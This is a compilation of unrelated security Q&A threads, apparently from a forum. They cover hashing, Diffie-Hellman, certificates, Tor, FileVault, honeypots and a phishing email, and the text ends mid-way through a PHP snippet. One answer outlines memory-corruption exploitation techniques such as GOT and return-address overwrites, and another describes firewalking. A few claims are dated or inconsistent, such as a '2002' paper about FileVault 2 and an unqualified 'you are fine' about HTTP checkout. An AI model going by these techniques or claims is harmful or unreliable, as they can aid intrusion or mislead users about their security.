Edit: Anyone has experience with Jetico Personal Firewall? It seems to be very lightweight (the installer package is about 3.5 MB). I recall an older version once ruined my XP and I had to reinstall it. Yet newer versions might have come with bugfixes.

Why not just use the built in Windows Firewall?  It does exactly what you've asked and is extremely lightweight.


Does putting salt first make it easier for attacker to bruteforce the hash? Many recommendations for storing passwords recommend hash(salt + password) rather than hash(password + salt).

Doesn't putting the salt first make it much faster for the attacker to bruteforce the password, because they can precompute the state of the hashing function with the bytes of the salt, and then each time of their billions and trillions attempts they only need to finish calculating the hash using the bytes of the password.

In other words, each bruteforce iteration needs to calculate only the hash of the password intermediateHashState(password)  instead of the whole hash(salt + password).

And if the salt was placed after the password, the attacker wouldn't have this shortcut.

Does this advantage exist and is it significant?

Actually, you are tackling it the opposite way.

It is true that doing hash(salt + password) would allow you to precompute the salt (but see note below) and only hash each password candidate for all those trials. The cost be the same you would bear if you were not using a salt at all.

However, the goal of the salt is not to make bruteforcing a single hash harder, but to ensure that the hashes for different users are different even if they chose the same password and so the cracking effort can't be applied for multiple users.

Let's assume you dumped a PayPal database hashes where they were using MD5 hashes. You want to check passwords 'paypal', 'PayPal', 'PayPal123'...

If they used MD5(password), you can trivially hash any of them and find out if anyone is using such weak password.
If they used MD5(salt + password), you could precompute the partial MD5(salt) for everyone, but still need to hash each password candidate for each user.
If they used MD5(password + salt), you could precompute the partial MD5(password) for each candidate password, and then apply their salt for each user.

#1 is clearly the worst here. You could argue between #2 and #3 based on the different lengths of passwords and salts, as well as the number of users, but I would consider #2 to be preferable. Based on length alone, the enforced minimum length for your passwords is probably higher than the salt size. But I suspect there could be other weakness with the #3 construct, too.

Is it a significant advantage?

Not really.

First of all, many hash functions work in blocks, and the precomputation for values smaller than the block size simply store a copy of the "precomputed bytes". In 99% of the cases the length of both salt and password will be shorter than the block size, so actually there would be no real precomputation being performed. You would need to be using really long strings there for that to be of use.

Additionally, any modern password hash function will at the very minimum use many iterations, if not using more advanced means to make bruteforcing expensive, and your optimization is only applicable the initial iteration.

In any case, rather than simply concatenating salt and password, the most secure way to combine them would be to do an HMAC over them, which mixes them in a better way.


In Ephemeral Diffie Hellman Key Exchange - what is actually ephemeral? Just starting to learn about Diffie-Hellman, and it seems simple enough, but I am struggling to find any resources that explain in an Ephemeral Diffie Hellman Key Exchange, what it is that is actually ephemeral?

So in DH we have a publicly known prime p, and a g mod p over the cyclic multiplicative group, where g is a generator of the group.

Alice chooses a random a, Bob choose a random b, both mod p.
Alice computes A = g^a mod p
Bob computes B = g^b mod p
Bob transfers B to Alice
Alice transfers A to Bob.
Alice computes B^a mod p
Bob computes A^b mod p
Both of these computations result in the same answer,and therefore a shared key has been established.

In ephemeral Diffie Hellman, what exactly is ephemeral?
Do p and g change?
Are a and b recomputed periodically?

Thanks

A & B are called the ephemerals that Alice and Bob exchange. It's not more complicated than that. There are other ways to use Diffie Hellman, for example DSA - Digital Signing Algorithm in which the term ephemeral does not appear.

Also, usually, (P,g) are fixed not only for a website, but for much of the internet (via RFCs) which is related to the recent revelation about the Logjam attacks and NSA likely hackings. Here's my write up on that. In any event, (P,g) are complicated to create, so most people use the ones that are already out there. Therefore, they don't change much. Given the recent exposures, it looks like we need to use bigger ones or you can compute your own (should be a big P).

(a,b) are not recomputed periodically except by policy for some network security protocol or, in the case of TLS, cipher suite configuration. I'm not familiar enough with TLS cipher suite config to answer that question. Generally, for improved security a network session should recompute session keys on a periodic basis. This is usually 8 hours, although it can be shorter or longer. Nothing in math requires the recomputation, it's only advised.


Why do SSL certificates have country codes (or other metadata)? Is there an effect of a certificate, or the request for, having the wrong country code? How about the other metadata? Effects can be legal, technological, anything.
I could almost imagine a web browser checking the certificate country and province against the server's geolocated ip, but I could see that having false positives, especially in the days of cloudflare and similar services.

The reason certificates have the metadata they do is historical. Certificates are defined in the X.509 standard from the ITU-T. It is part of implementation of the X.500 standard, the Directory services.
It’s also related to another standard called LDAP
These technologies were designed at the beginning of the internet (1988) and have a strong backing in the telephone networks.
The X.500 family of standards were created to facilitate directory services (think phone books). For these it makes sense to record where someone is located in order to tie some arbitrary data (like a phone number) to a physical location or name (like address and name of user).
These features are mainly still present for humans to use. Computers use other means to validate them (like OCSP and the older CRL; a valid period of time, as in not valid before and not valid after values; and trusted root certificates or CA’s, that vouch for the certificate used).
Nowadays there might be a legal requirement to fill in such data accurately but there is no technical reason to enter it aside from auditing and for use by humans.


Is there any FOSS passive vulnerability scanner ? Not a NIDS but a vulnerability assessment tool I've see the PVS (passive vulnerability scanner) from Tenable Network Security.

I'm really interested in this kind of approach.

Anyone know if is there any FOSS solution to be used professionally in a company ?

P.S. I know that, from the point of view of functionality, is a sort of NIDS with pattern matching engine with a database of vulnerability, so please don't response to use a a NIDS.

At a glance, this looks to me as just being a network-based intrusion detection system (Network IDS, or NIDS) with a few special rules.  It probably doesn't do anything that Snort couldn't do with the proper tweaks.


Is a PKI for the IoT really a good idea? I am reading a bit about the security of IoT devices and found quite a lot of articles describing how a PKI would be an improvement for the current infrastructure. I am, however, not convinced if setting up a PKI would improve security for most of the IoT use cases. I was wondering if I was seeing something incorrect. To give an example:

I understand how IoT devices used in Industrial Control Systems would benefit from a PKI, since they usually communicate without the interference of users and therefore cannot use traditional methods for authentication like passwords, biometrics and tokens.

For the more basic use cases like cameras, microwaves or refrigerators that are connected to the internet, I don't see the added value of a PKI. Am I overlooking something, or does PKI indeed not improve security for these devices?

Edit: some examples:

https://www.scmagazine.com/pki-for-the-internet-of-things/article/539469/
https://techbeacon.com/managed-pki-certificates-securing-internet-things

Let's look at your fridge. Why is it connected to the Internet? It could send maintenance data to the manufacturer, connect to stores to order food for you, or tell you its contents ("fridge, how many eggs do I have?").

If you classify this data as having no impact if adversely affected, then yes, a massive infrastructure like PKI would have little value (the risk is low).

But, it's not that low. Imagine a hacker accessing your fridge to raise the temperature and spoiling the entire contents? What about a hacker accessing the fridge and ordering tons of food on your account? What if the type of food you store indicates certain sensitive information about you (only kosher foods or only halal meats, suddenly no more alcohol (pregnant?), or a 1-off big order of cranberry juice that gets steadily consumed (urinary tract infection?)). What about stats on how often the door is opened (are the owners away?) Assessing the information this way indicates quite a different risk level.

PKI (properly implemented) can protect the control data (who can order, who can access, who can change settings) and can protect the information at rest and the information in transit.

Imagine a WhatsApp or Signal-like encryption process where only the manufacturer's certificates or your phone app can access the control functions, or even certain data. That's where PKI can be useful.


Why can I still receive email at my old domain after someone else bought it? My domain expired years ago and was registered by another party.
I have already read Can someone read my E-Mail if I lose ownership of my domain? and see that the answer is yes.

Now if someone buys the domain and creates a mx record pointing to the his own mail server he can read all my confidential emails the people are sending me right?

If they register the domain name, they will receive all email being sent to it from that point on. They will not have retroactive access to previously sent emails. There is nothing to fundamentally prevent this.

However, all my email accounts under that domain are still functioning.
Timeline:

domain purchased with website/mail hosting Company X
website/mail hosting is transferred to Company Y
domain lease from Company X expires
domain purchased by Company Z

When I login at Company Y (current website/mail host), the "Domain Manager" section of the control panel shows correctly that the domain's registration expired years ago. However, I can still create a website at that domain through Company Y's website builder. I can visit said site from another browser/device. I also still seem able to use Company Y's control panel to edit the domain's DNS zone file where the MX records are stored -- I thought this should be impossible since the domain is no longer mine.
Are my email accounts still working simply due to the new registrant not changing the MX records?
As an aside; how is it possible for me to manage DNS for a domain I don't own? Why am I able to put up a website on a domain that is no longer registered to me?

Are my email accounts still working simply due to the new registrant not changing the MX records?

Most likely.

As an aside; how is it possible for me to manage DNS for a domain I don't own?

If your registrar is minimally professional, no.

Why am I able to put up a website on a domain that is no longer
registered to me?

You can put up a domain for nasa.gov if you want. Just create a VirtualHost on Apache, a couple HTML pages saying you are NASA, and you are done.
Easy, right? But don't expect anyone to type www.nasa.gov and end up accessing your server.
Now, on your issue: the new owner of your domain may have acquired the domain and never bothered to change anything: MX records, CNAME, A and AAAA records. So if you create a page and put on the previous server, it will still work, because all addresses are pointing to your original server. But this is not permanent: as soon as the new owner changes the records, your site is not accessible at this domain anymore.


Do privacy settings guarantee privacy? In Windows 10 and many other proprietary operating systems, you can "seemingly" opt out of sending usage data. However, if the operating system is proprietary, how can we be sure that the OS is not continuing to send usage data? Is the source code examined by legal authorities?

No, there is no central authority that certifies such things.  But if you're curious you can examine all of the Internet traffic and see if any goes someplace you don't expect.

By the way, even with open source it isn't as easy as just reviewing the source code.  You have to build the operating system yourself, somehow verify the toolchain used to build the operating system hasn't been compromised in order to insert privacy bypasses (no easy feat) and even then there could be subtle things included in the source code in order to defeat source code analysis that could route traffic in non-obvious ways.


PCI-DSS for Financial Institutions and Issuer Here is the scenario:
A financial institution outsourced all PCI-DSS-related activities. Therefore (in theory), it does not store, transmit, or process credit/debit card data. It also issues debit cards but, it only initiates the process by taking basic client information. Then, the information is forwarded to a service provider that issues and sends the debit card to the client.  However, the company has been required to be PCI-DSS compliant.
In my humble opinion, PCI-DSS has not been 'designed' to work for financial institutions. It is more focused on service providers and merchants. In fact, the SAQs are for merchants and service providers only. I am not aware of SAQs for financial institutions.
Questions:

How can that financial institution prove that it is PCI-DSS compliant? What tools and processes can they use considering that the current ones are designed for merchants and service providers (e.g. SAQs)?

Can they use the SAQ (if so, which one?)to evaluate their compliance and put N/A on the related not applicable requirements? Can they use the prioritised approach?

If a requirement is N/A because it has been outsourced, who does own the responsibility to the requirement, the financial institution or the outsourcing company that handles the credit card information? In other words, am I correct in assuming that even if the financial institution outsources all the credit/debit card processes, it is still responsible to make sure that the outsourcing company is PCI-DSS compliant?

As a card issuer your requirement for compliance will come from the rules of the card scheme (i.e. Visa or Mastercard). I mostly know Visa Europe's rules but understand that Mastercard's rules are pretty similar. So to answer your specific questions:

Q1. It depends on your contract with the card scheme, often issuers do not have to validate their compliance to the card scheme (i.e. they are not required to send the card scheme a RoC or SAQ on an annual basis), but they are contractually obliged to comply with PCI DSS and other PCI standards applicable to card issuers. Some issuers choose to have an annual external assessment and keep the RoC on file in case the card scheme asks for evidence that the issuer is compliant.

Q2. Again it depends on your contract with the scheme. If the FI is wholly outsourced (ie there is no cardholder data anywhere in the institution) then it could use the requirements from SAQ-A in a partial RoC - there is a FAQ on the PCI SSC website about this:
https://pcissc.secure.force.com/faq/articles/Frequently_Asked_Question/Can-a-partial-PCI-DSS-assessment-be-documented-in-a-Report-on-Compliance-ROC

Q3. Typically the card scheme has an approved list of suppliers that issuers are permitted to use - you should check the scheme's rules and then their list - e.g. Visa Inc has a 'Member Issuer Processor Program'.

However, despite a provider being listed by a card scheme, you have complete responsibility for ensuring the third party's compliance with PCI DSS on an annual basis (all the 12.8 requirements apply), and as your compliance is wholly dependent on the third party this is your main responsibility.

Finally, if you are in Europe, Visa Europe has produced specific guidance for issuers that you can get from Visa Europe.


Can IP header TTL values be exploited as an attack vector? If so, what can protect against that? As per some network certification training material, I noticed the following description of the Time To Live IP header:

The time to live (TTL) is set into a packet when it's originally generated.  If it doesn't get to where it's supposed to go before the TTL expires, boom - it's gone.  This stops IP packets from continuously circling the network looking for a home.

That got me to thinking though.  Could this header be exploited and set to a really high value thus generating excessive network load/volume? If so, what controls could stop this type of behavior?  A policy enforced on a firewall or router?

Could this header be exploited and set to a really high value thus
generating excessive network load/volume?

No; each device in the path decrements the TTL, but decrementing a big number is no more expensive than decrementing a small number.  Knowing most packets rarely exceed their TTL, increasing the TTL won't cause the packet to traverse the network any longer than it would otherwise.
The one aggressive use the TTL can be put to is firewalking.  By sending packets with carefully crafted TTLs to a destination behind the firewall, you can map out what the firewall and devices behind it are permitting.


Accidentally calling a scammer Today and for the last couple of days, an unknown number from Melbourne (that is also NOT an unknown caller ID) has been consistently calling me on my iPhone. I've been constantly forgetting to block his number until today for some reason, my iPhone rang the number back.

To what I believed, I ignored the call (because I was busy doing something else). Then with the phone in my pocket, there was a missed call notification and when walking, the iPhone thought I swiped the notification which then rang the caller back. I didn't notice until 20 minutes later when it started playing some jingles. I hang up and immediately blocked the number, but I was worried about something.

I heard that if you ring some scam numbers, they are able to charge thousands of dollars. Can they do this to me? What should I do now? Call my telephone service provider?

Edit: I checked my call plan and it said it was unlimited, along with messaging. However, due to my lack of knowledge about my call plan and how phones work (since I'm not the one who set it up), I'm not sure If I'm safe, especially that I saw this.

Yes, a scammer can charge you differently and that will not be covered by the normal 'unlimited' plan you have subscription to.

But in most of the cases, those are special numbers that use other prefixes instead of the area code. You probably know that most 0-800-numbers are free and available in many countries. Well, just like that, the 0-900-number can be numbers with special tariff that will charge a few times the normal fee. Those are not covered by your subscription and will be charged separately.

Using a standard phone number in over-charge mode is also possible, but a lot harder to accomplish by a scammer.


What security requirements are a defacto standard in the Financial Industry? What technologies, processes, or laws that relate to InfoSec apply specifically to the Financial industry?

If you're familliar with the Financial Industry, can you share details?  For example:

What are specifics on common controls
What technology (or widely deployed product) satisfies a particular control

As mentioned the two main laws in the US are Sarbanes-Oxley Act (SOx) and the Gramm-Leach-Bliley Act (GLB).

If you are on the Banking side of the Financial Services sector then a must read is the Federal Financial Institutions Examination Council (FFIEC) Information Security Booklet dated July 2006.

The handbook references NIST, ISO, and COBIT. NIST's 800 series documents are an excellant source of guidance on a variety of topics. On the ISO side see the ISO/IEC 27002 standard.

If you fall under SOx then you will probably find yourself involved with two control frameworks, COBIT and COSO. The control frameworks aren't going to tell you exactly how to implement a control. Although not directly associated with SOx compliance SANS has published amoung other things a list of Twenty Critical Security Controls. These controls are a little closer to actual implementation, but still don't tell you exactly how to do it. How you implement a particular control is going to be highly dependent upon your environment.


Should I set different passwords for different Wi-Fi bands? My new router supports both the 2.4 and the 5 Ghz bands, and it obviously allows me to set a different password for each of them.

Now, since cracking just one of the two means that the attacker would gain access to my network anyways without needing the other one, are there any reasons why I should set a different password for each band?

Sure there is! In the absence of a "guest" SSID feature on your router, use one of the bands for guests/visitors, and the other band for private use. That way you can regularly change the password for the guest/visitor WiFi without disrupting connectivity on your own devices.

Granted, this is more of a practical consideration (even though you do gain some small modicum of security by regularly changing your guest WiFi password).


Verify a website user is behind corporate firewall? We have a public ecommerce website hosted at our datacenter onsite. For people who are within the corporate firewall hitting the website I want to display profiling information about the request of the current page. This would include sql so we want to secure it as much as possible. When accessing the website from inside of our corporate firewall the users's IP address is always 192.168.0.12.

How can I reliably/securely tell if the user visiting our website is coming from inside of the corporate firewall? Is verifying the IP address enough?

How can I reliably/securely tell if the user visiting our website is coming from inside of the corporate firewall? Is verifying the IP address enough?

I think a bigger concern is "can you write this code in such a way nobody could manipulate it?" I very much doubt it, however, there are things you can do.

Edit Ok, old answer was probably being a bit security paranoid here. Introducing debug code into your live app is a security risk because it's another level of authentication you need to definitely stand up to scrutiny. However, in certain scenarios, that might be acceptable.

In the case of an online store, I could say the best option is client side SSL certificates signed by a trusted certificate the server knows about, possibly combined with IP address restrictions. Keep a revocation list Reasons for this:

Pretty hard to spoof. The certificate has to be signed and authorised by you first and installed into the client browser. Thus security becomes controlling access to authorised certificates - you can invalidate them server side by keeping a revocation list/whilelist of trusted "I will show profile information to"
You're using SSL anyway in the slowest case (logged in user) therefore you can assume SSL-based traffic times are upper bounds (plain HTTP will be faster, but only marginally).
Rely on existing crypto implementations rather than attempting to implement something new that might possibly be broken cryptographically speaking.
You could actually relax the IP requirements to a certain extent; developers can test from home too.


Should a server or a client be able to verify a client/server certificate - intermediate certificate chain with a known root ca? I am trying to test the following setup:

A RADIUS server works with the EAP-TLS protocol. The client and the server have the following certificates:

Client
Public Key: clientcert_intermediatecert_chain.pem
CA-certificate: rootcert.pem

Server
Public Key: servercert_intermediatecert_chain.pem
CA-certificate: rootcert.pem

Both, the client certificate (clientcert.pem) and the server certificate (servercert.pem) are signed by the same intermediate certificate (intermediatecert.pem), which is signed by the root certificate (rootcert.pem).
Both chains, which are set to be the public keys are put together like this (via Shell command):
cat servercert.pem intermediatecert.pem > servercert_intermediatecert_chain.pem
cat clientcert.pem intermediatecert.pem > clientcert_intermediatecert_chain.pem

Now, the client tries to connect to the server. Both sides send their public keys and try to verify the received public keys with rootcert.pem

I know that the "normal" way would be, that the public key was only the server or client certificate. And the CA-certificate would be the imcert-rootcert-chain, but I have to know if this would work too.

Now my questions:

Is it legitimate that the public key is a chain consisting of the server/client certificate and the intermediate certificate?
And if so, does this apply to both sides (server and client)?
Should a server (like FreeRADIUS) or a client be able to verify chains like these with the root certificate, if they receive them from the counter part?

Based on my experience, FreeRADIUS doesn't verify such a certificate chain right. If I'm not mistaken FreeRADIUS uses the OpenSSL library and does the same thing as the following command in the situation shown above:

openssl verify -CAfile rootcert.pem clientcert_intermediatecert_chain.pem

And I'm pretty sure this does not work. OpenSSL cannot verify a chain like this with the root certificate. It fails when trying to put the chain of trust together.
Is this correct?

By the way, FreeRADIUS returns the same error as the verify command: error 20 at 0 depth: cannot find issuer certificate which means it cannot put the chain of trust together.

Not a complete answer (yet?), but:

Yes OpenSSL library called (directly or as here via libssl) by a program like FreeRADIUS can verify a received chain; no your commandline openssl verify does not verify a chain. This is covered in https://stackoverflow.com/questions/44375300/openssl-verify-with-chained-ca-and-chained-cert (mine) but that is downvoted and suggested offtopic, so I'll copy the relevant part here:

openssl commandline verify reads only one certificate, the first one, from the file given as operand, or from each file if more than one is given. This differs from the files specified with the -CAfile -trusted -untrusted options which can (and typically do) contain multiple certs.

Your file clientcert_intermediatecert_chain.pem contains the client cert and the intermediate cert in that order. Only the client cert is used, the intermediate cert is ignored, and as a result you do not have a valid chain to verify.

To use commandline to mimic/test the validation done by a receiver (for a client cert chain, the server) supply the leaf cert as the operand and all other transmitted (chain) certs (here the one intermediate) with -untrusted, and the anchor(s) plus any 'known' intermediates in the truststore either explicit or defaulted (your -CAfile root is fine, although there are other valid ways).

As to the real problem (Y) with FreeRADIUS: Are you sure the client is sending the chain? Do you have a trace?

As an alternative: if the client (or in general peer) doesn't send the needed chain certs, but they are in the local truststore which is arguably a spurious thing to do, OpenSSL will use those. You might try adding at least temporarily the intermediate cert to either the file you use for CA_file or the hashnamed directory you use for CA_path.


Determine if Tor works I have installed Tor on my Mint computer, but how do I determine if Tor is working? When I visit http://whatismyip.com, my old IP is shown. Should it not be a different IP when I'm using Tor?

Here is some information when I run netstat -ant | grep 9050

tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN

https://check.torproject.org/

Make sure you have setup your browser to use the proxy, you can use something like foxy proxy to be able to switch between TOR and normal browsing quickly.


Is Tor used to perform hostile hacking? I was wondering, if in order to protect myself from hostile hacking, should I consider access via Tor to be OK to perform e.g. havoc without anyone being able to track my IP back?

[Tor] without anyone being able to track my ip back

Yes, that's the purpose of the protocol. It does suffer some risks of exposure from protocols that run on Tor... e.g., accessing a website that has previously set a cookie identifying you address from when you visited before using Tor.

  in order to protect myself from hostile hacking

Keep in mind that any traffic of yours leaving an exit node is no longer encrypted. The exit node can read and alter your traffic if it wishes.

The full list of weaknesses (or "user control considerations" if you will) is long. I'd start with http://en.wikipedia.org/wiki/Tor_(anonymity_network)#Weaknesses and go from there.

Tor's increase to anonymity doesn't not correlate with an increase in security in other forms.


OpenSSL ECC named curve support I tried searching online but can't seem to find whether or not OpenSSL support both NamedCurve.arbitrary_explicit_prime_curves and NamedCurve.arbitrary_explicit_char2_curves? As far as I can tell bouncy castle are the only SSL/TLS implementation that supports it, any others that anyone known of?

The code for arbitrary curves is in the library; see the source code, file crypto/ec/ec_lcl.h, in particular function ec_GFp_simple_group_set_curve(). The OpenSSL code includes specialized function for some specific curves (in particular NIST curves) but also has functions for the general case.

Code for encoding and decoding arbitrary curve parameters in ASN.1 (e.g. for use with a public key in an X.509 certificate) also appears to be present (in crypto/ec/ec_asn1.c). However, I doubt this code gets much used, since most of the rest of the world supports only a few specific curves; so even if the code is there, it was probably not thoroughly tested.


Is this Scenario Exploitable? Here is the scenario:

You get to overwrite 4 (consecutive) Bytes of a Userland Remote Process in Linux without Exploit Mitigation and without the ability to inject any Shellcode and you know the Process Memory Layout. Is this Exploitable?

In the sense that you can cause the program to act in a way that it shouldn't, then yes this is exploitable. To exactly what degree you can exploit the process entirely depends on the process itself.

Causing the process to terminate with an error (Denial of Service) is easy, just write 4 random bytes to a random location and you'll probably trip it over.

A 4byte overwrite allows you to supplant a 32bit address value. The first thing that comes to mind is to subvert program flow, either a return, a call, or a jump.

If you can find a piece of code that does something useful to you, typically by looking at the libraries that are loaded, you can jump to that. You might even be able to make a system call if you can find a situation that has the correct arguments loaded onto the stack before a program flow instruction.

You could overwrite the value of a pointer on the stack to point at something else, this could easily lead to information disclosure. Such as altering the pointer that points to your username string so that it points to a secret key, or a password hash, and then interacting with the program such that it would usually echo out your username string.

You could alter an entry in the Global Offset Table to supplant one function call with another function call globally across the process. This would allow you to, for example, remove a wrapper function by making all calls to the wrapper actually calls to the inner function, potentially removing a security feature, such as a parameter check, which you could later exploit.

I could go on, but the idea is either to;

Make the program do something that is desirable to you.
Alter the program such that it is vulnerable to exploitation some other way.


Is it possible to salt the SHA1 or SHA256 hash function of OpenSSL? I would like to salt the hash function of OpenSSL external, so that I can assign a salt on my own. Is that possible or is the hash function of OpenSSL alsways internal "salted"?

SHA-1 and SHA-256 are cryptographic hash functions. They take as input an arbitrary sequence of bits -- and only that. There is no "salt" in hash functions.

When a hash function is said to be "salted", then this is not a hash function; this is some other construction that uses, among its input parameters, one that is deemed to be a "salt", and that may use, internally, a hash function as a building element. One example of such a construction is PBKDF2.

The distinction is important, because when someone says "I want to salt my hash", then this can mean one of the two following things:

That someone is trying to implement some existing, well-specified construction like PBKDF2, and merely calls it "a salted hash". The right way is to look for an existing implementation of the complete construction, or, failing that, to implement it by using the specification which will tell exactly what sequence of bits is injected into whatever hash function is used internally. In any case, the question of "how to salt a hash" becomes meaningless.
That someone is in the process of making his own, homemade construction involving a hash function, and tries to mix together some values and a few cryptographic functions, hoping that all the ingredients will somehow interact well together and result in "security", envisioned like a sort of cake. This is a known recipe for disaster; only sorrow lies down that path.

Usually, the notion of "salt" comes from the concept of hashing passwords, where passwords are "weak secrets" ("secrets" because they are supposed to remain confidential, "weak" because they can be remembered by human brains, and human brains are really bad at remembering random values). Hashing passwords is not something that tolerates improvisation well; there is a lot of theory and research on the subject, and experience has repeatedly shown that homemade schemes are almost invariably pathetically weak. Read this answer as an introduction on the subject.


Can I reliably identify Apple devices that have not patched against the gotofail vulnerability based on user agent string? The title pretty much says it.  Do the security patches to address the gotofail security issue in multiple Apple products employing SSL change the User Agent string for the respective systems? And, of course, what is the demarcation point between patched systems and unpatched systems with the build number in the UA string? I don't have iDevices lying around to empirically test this, so I'm hoping some of the professionals here know the answer.  Ideally, I'd like to be able to mitigate the risk of users hitting an OWA server with unpatched devices over public wireless networks by rejecting unpatched user agents.

Yes, I know this is not foolproof, but I'm trying to protect against ambivalent users, not malicious ones.

The user agent string will allow you to select possible candidate browsers; only select browsers on select operating systems can be vulnerable. But it can't detect whether or not the operating system has been patched, since that detail is not reported in the UA string.

A site has been set up to allow you to test your browser yourself:

https://gotofail.com/

This check attempts to load a resource using a key that doesn't match the certificate. If the resource loads without warning, then the browser is vulnerable. If it fails, then the browser correctly detected the mismatch.


Are private git repositories safe? I've heard from several people that private repository servers like BitBucket are not really safe. I've heard rumours about code being stolen and used by people even out of private repositories.

Is it true? Is there any evidence, that cases like that could have happened?

A git repository is just files. So you're asking "Are private files safe?" To which the answer is "you're asking the wrong question".

A git repository is exactly as safe as the place that it storing it for you. No more, no less. If it's GitHub, then it's exactly as safe as GitHub is, And before you ask how safe GitHub is: nobody knows the answer but them.

Same story for BitBucket, Gitorius, Dropbox, Google Apps, Microsoft OneDrive and literally everywhere else you can store files (including your Git repo): Nobody can tell you how safe they are because nobody knows but the vendor. And the vendor always says they're safe.

If you're paranoid, keep your files on your own hard drive. In a mattress. Buried behind the shed.


On my MacBook, is my user password now the Achilles heel of disk encryption? From a cold boot, the only password needed to unlock the primary encrypted volume on my MacBook's SSD is just that of my main admin user. This was not always the case; it used to be that I could specify a fairly long and thorough passphrase to be used in key derivation whenever I had to access the volume in its locked state, then a separate passphrase for the user account after unlocking the partition.

It is very inconvenient for me to type out such a lengthy passphrase for every admin-level action I  might need to perform during casual use. It seems unlikely that Apple would roll out such a bold detriment to one of either data security or user experience, so I'm confident that I've missed something. What (if any) safeguards exist to protect against brute force now that the only user input required to decrypt my whole system is a frankly modest password at the boot screen? I understand that it may wipe after N attempts, but of course I am speaking more about the risk of brute force given physical access to the drive/access through an agnostic interface.

Another question: is there any way for me to revert back to the old experience without emulating it with a new user and promoting it to the primary administrator of the system? For what it's worth, I am using OS X 10.10 (Yosemite). I believe that change of experience/apparent ability came during my use of the prior major release of the operating system, but it may have occurred earlier.

OS X Lion included a major rewrite and redesign of FileVault, that may be the change you are looking at. Legacy FileVault (the old version) continued to work in Lion and even Yosemite if you did an upgrade in place; maybe you did a clean install last time, or got a new machine?

FireVault 2 is a significant upgrade to Legacy FileVault and the general advice is that you should upgrade.  You are correct that you will need to have a decent user password, but the thing is that you need to have a decent user password anyway!

FDE is only for protecting the machine when it is turned off; when it is turned on the OS has to protect the machine and it can't do that if you have a weak admin password.

However, you might be over-estimating the strength you need in your password. There was an interesting paper published in 2002 that estimated it would take about 34 years to brute-force a FileVault 2 password with 32 bits of entropy; that is
actually a fairly modest password I would say. You only need three Diceware words or a 7 character random alphanumeric to get 32 bits.

You can't revert back to Legacy FileVault. However, you can get a very similar set-up to what you had before by simply keeping all your sensitive data in an encrypted sparsebundle image. This way, you get all the benefits of FileVault 2, but your data is also encrypted with a very long passphrase that you only need to type in once per session.


How do honeypots remain secure to 0days and newer exploits? If honeypots are designed for a specific set of exploits, such as SQL injection and XSS, how do they protect themselves against other exploits? For instance, if I created a honeypot a few months ago, and still had it running, would it be safe from shellshock? If so, how?

They're just as vulnerable as any other software would be to a vulnerability, so to your specific question it would be just as vulnerable. Remember though that in the case of shellshock the honeypot would have to be passing input to a bash shell to be vulnerable. Of course, is another component on the system is vulnerable, the honeypot could still be compromised using another vector.

The only difference between a honeypot and other software is that a honeypot is designed to be attacked, so they often put strict controls around whatever mechanism they use to capture malware, exploits, etc. It's unlikely that a honeypot would pass input to a bash shell given that it's known to be risky, but anything's possible.


E-commerce website that uses plaintext HTTP but redirects to PayPal during checkout I need to purchase a few items (t-shirts, dvds, etc.) on an old e-commerce website that hasn't been updated in a while and doesn't use HTTPS to encrypt data in transit. The website does not have any authentication mechanism implemented, you can't create an account on the website. It only allows you to browse for products and add items to a shopping basket. The shopping basket section displays the total price of your items and also provides a way to calculate your shipping costs based on your country and zip/post code. All this information is not encrypted as the entire website uses plaintext HTTP.

I can't enter payment information on the website and complete my checkout process. The website has only one method of payment - 'Pay with Paypal'.

As soon as I click the 'Pay with Paypal' button I get redirected to the secure PayPal website where I can login and make a purchase. Note: I haven't actually tried to login into PayPal as I was worried that login/checkout information would be somehow returned to the main HTTP website unencrypted at a later stage. I also don't know if I make a purchase via PayPal, the checkout and the transaction stages will be completed on the PayPal website rather than on the main HTTP website.

The question I have is as follows:

Would it be safe for me to purchase items on that website given the fact that no sensitive information (apart from the total cost of items in the shopping basket and shipping costs) is stored on the website, and the entire checkout process seems to happen only on the secure PayPal website (not 100% sure though as I haven't actually made a purchase via PayPal yet)?

Would you purchase a product on such a website and pay with PayPal without worrying that your information could be compromised by a man-in-the-middle attacker?

Unless you are actually entering the sensitive information (i.e., credit card info) on the site itself, then you are fine. Think about it this way, say you're on the street, just outside of a bank. Everyone can see where you are, what you are doing, etc,. However, to make a transaction, you now go into some random transaction office in the bank. Clearly, no one on the street can actually see what you are doing, or even your exact location anymore. You complete the transaction, then come back and walk on the street, having completed your transaction. No one on the outside saw anything. Now of course some of the people on street might suspect that you just completed a transaction at the bank and target you for it, but unless you took the sensitive information with you to the street, then they won't be able to find anything. The street in this case is the random HTTP website that you are on, and the bank is PayPal.


Can my work place access my private google account I received the below message. My view is not to respond as the message is incorrect.  I'm not even sure why it states my personal account is registered against work email address.

It says :

  We are aware that a personal Google account has been created and
  registered against your Work email address.

  In preparation for the move to G Suite we need to transfer ownership
  of this account so that your new G Suite account can be created.

  You will shortly receive an email with a message similar to the
  screenshot attached asking you to accept or reject the transfer of
  this account. Please action this as soon as possible so we can start
  to create your new G Suite account.

  Please note that when you accept the transfer you will loose access to
  the account until your new G Suite account is assigned as part of your
  team's move to G Suite. If this temporary loss of access is going to
  cause a problem due to the account being critical for your work them
  please let us know.

This is a phishing email. Ignore it, and certainly don't transfer anything if you get a follow-up. If your work has a "phishing@" or "soc@" email address or similar, report it to them. You probably aren't the only one who got it.


Why is a password accompanied by a username deemed 'safer'? While browsing this community I notice that some people say that the main advantage of usernames accompanied by passwords is as they take more tries to be brute forced, however I don't think that is the case, for example:

#Easy password just for example

Username: admin
Password: c1235

Is just as tough to crack as just a single token/password to log in:

Password: adminc1235

Another argument people give is that usernames accompanied by passwords can be salted however you can also salt a single password by splitting into two different substrings and salting them.

Also SQLinjection is way harder to find the details of the account you want to hack if there is no username...

Apart from safety measures of course I understand that usernames also serve as the user's memory for the password, but looking at the security facts I don't see a lot of difference between a username with a password and a long password phrase/sentence.

So I would like to ask, are there anymore reason why passwords accompanied by a usernames are deemed safer? If I made mistakes in my posts please say so, i'm not an expert!

In most systems, username is required to be unique but password is not.

If password was used as a login credential without a username, then password would have to be unique. In that case the same attacks against username would work for password, such as trying to sign up with a dictionary-word password and looking for an error that the password is already used.


POST requests are bypassing PHP checks I have a website with a contact form on PHP and a mail server.
Email are sent with the help of PHP mail function like so

$name = cleanInput($_POST["name"]);
$e = $_POST["email"];
$email = filter_var(cleanInput($e), FILTER_SANITIZE_EMAIL);
if (strpos($name, "@") !== false) {
    $msg = 'Invalid name!';
    exit();
}
else if (strcmp($e, $email) !== 0 ||
    filter_var($email, FILTER_VALIDATE_EMAIL) === false ||
